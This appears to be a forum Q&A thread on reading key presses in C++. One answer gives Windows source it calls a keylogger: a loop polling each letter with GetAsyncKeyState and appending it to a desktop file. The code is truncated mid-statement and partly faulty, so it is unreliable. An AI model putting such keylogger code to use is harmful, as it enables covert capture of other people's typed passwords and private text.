How do i get keyboard state C++ when a user presses a key? not "getline or cin"?...

Answer 1

the keylogger gets keypresses and saves them in a file a chosen.
the function you mean is :

if(GetAsyncKeyState(KEY) & 0x0001)
{
//do_something();
}

this functions tells you if a key is pressed

ps. list with key names : https://autohotkey.com/docs/KeyList.htm

Answer 2

on windows :
here an example of a keylogger :
#include <iostream>
#include <windows.h>
#include <fstream>

using namespace std;

char save_in_file(const char* x)
{
ofstream myfile;
myfile.open("c:/Users/George/Desktop/keys.txt", ios_base::app);
myfile << x ;
myfile << "\n";
myfile.close();
}

int main()
{
while(1)
{
if( GetAsyncKeyState( 'B' ) & 0x0001 )
{
save_in_file("B");
}

if( GetAsyncKeyState( 'A' ) & 0x0001 )
{
save_in_file("A");
}

if( GetAsyncKeyState( 'C' ) & 0x0001 )
{
save_in_file("C");
}

if( GetAsyncKeyState( 'D' ) & 0x0001 )
{
save_in_file("D");
}
if( GetAsyncKeyState( 'E' ) & 0x0001 )
{
save_in_file("E");
}

if( GetAsyncKeyState( 'F' ) & 0x0001 )
{
save_in_file("F");
}

if( GetAsyncKeyState( 'G' ) & 0x0001 )
{
save_in_file("G");
}

if( GetAsyncKeyState( 'H' ) & 0x0001 )
{
save_in_file("H");
}
if( GetAsyncKeyState( 'I' ) & 0x0001 )
{
save_in_file("I");
}

if( GetAsyncKeyState( 'J' ) & 0x0001 )
{
save_in_file("J");
}

if( GetAsyncKeyState( 'K' ) & 0x0001 )
{
save_in_file("K");
}

if( GetAsyncKeyState( 'L' ) & 0x0001 )
{
save_in_file("L");
}
if( GetAsyncKeyState( 'M' ) & 0x0001 )
{
save_in_file("M");
}

if( GetAsyncKeyState( 'N' ) & 0x0001 )
{
save_in_file("N");
}

if( GetAsyncKeyState( 'O' ) & 0x0001 )
{
save_in_file("O");
}

if( GetAsyncKeyState( 'P' ) & 0x0001 )
{
save_in_file("P");
}
if( GetAsyncKeyState( 'Q' ) & 0x0001 )
{
save_in_file("Q");
}

if( GetAsyncKeyState( 'R' ) & 0x0001 )
{
save_in_file("R");
}

if( GetAsyncKeyState( 'S' ) & 0x0001 )
{
save_in_file("S");
}
if( GetAsyncKeyState( 'T' ) & 0x0001 )
{
save_in_file("T");
}

if( GetAsyncKeyState( 'U' ) & 0x0001 )
{
save_in_file("U");
}

if( GetAsyncKeyState( 'V' ) & 0x0001 )
{
save_in_file("V");
}

if( GetAsyncKeyState( 'W' ) & 0x0001 )
{
save_in_file("W");
}
if( GetAsyncKeyState( 'X' ) & 0x0001 )
{

Answer 3

Wow Thank you bro...

But how do I actually apply it...

I'm using CppDroid IDE

Answer 4

Thanks Georgios, really that helped me a lot .